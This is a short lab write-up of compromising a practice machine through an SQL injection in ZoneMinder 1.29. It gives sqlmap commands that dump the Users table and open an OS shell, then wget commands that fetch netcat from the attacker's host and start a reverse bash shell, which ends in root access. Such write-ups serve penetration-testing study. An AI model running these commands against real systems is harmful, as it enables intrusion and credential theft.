Enumeration

2021年7月28日 15:02

1: Use autorecon to enumerate its services,**21, 22, 80, 3305, 8080** are open
2: FTP does not allow **anonymous** login, services running on **80**, **3305**, and **8080** are all HTTP services.
3: Access HTTP service on port 80, it has a login form. However, **default login** and **brute-force** all do not work
4: Enumerate its directory, and a directory **/zm** seems interesting
5: Access it, it is a **ZoneMinder Console**, its version is **1.29**. According to exploit-db, it has **multiple vulnerabilities**. Among these vulnerabilities, **SQLi** looks the most promising

Foothold

2021年7月28日 15:02

1: Use **sqlmap** to exploit the vulnerability: **sqlmap http://192.168.185.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm --tables --threads 5**
2: And then: **sqlmap http://192.168.185.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm -T Users -C Username,Password --dump --threads 5**
3: Finally: **sqlmap http://192.168.185.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" --os-shell**
4: Be advise, target server is **64bit**. If choose 32bit, shell will not work properly
5: Set up a netcat listener, and execute following commands by order: **wget http://192.168.49.185/binary/nc -O /tmp/nc**, **chmod +x /tmp/nc**, **/tmp/nc 192.168.49.185 3305 -e /bin/bash**
6: Get a root shell

Privilege Escalation

2021年7月28日 15:02

1: It is already a root shell

Review

2021年7月28日 15:04

1: Target **HTTP** and **SQL** services
2: Find **/zm** directory, access **ZoneMinder Console**, search for its exploit
3: Among these vulnerabilities, choose **SQLi** as the vector, and then use **Sqlmap** to exploit
4: Transfer nc to target server and connect it back, get the shell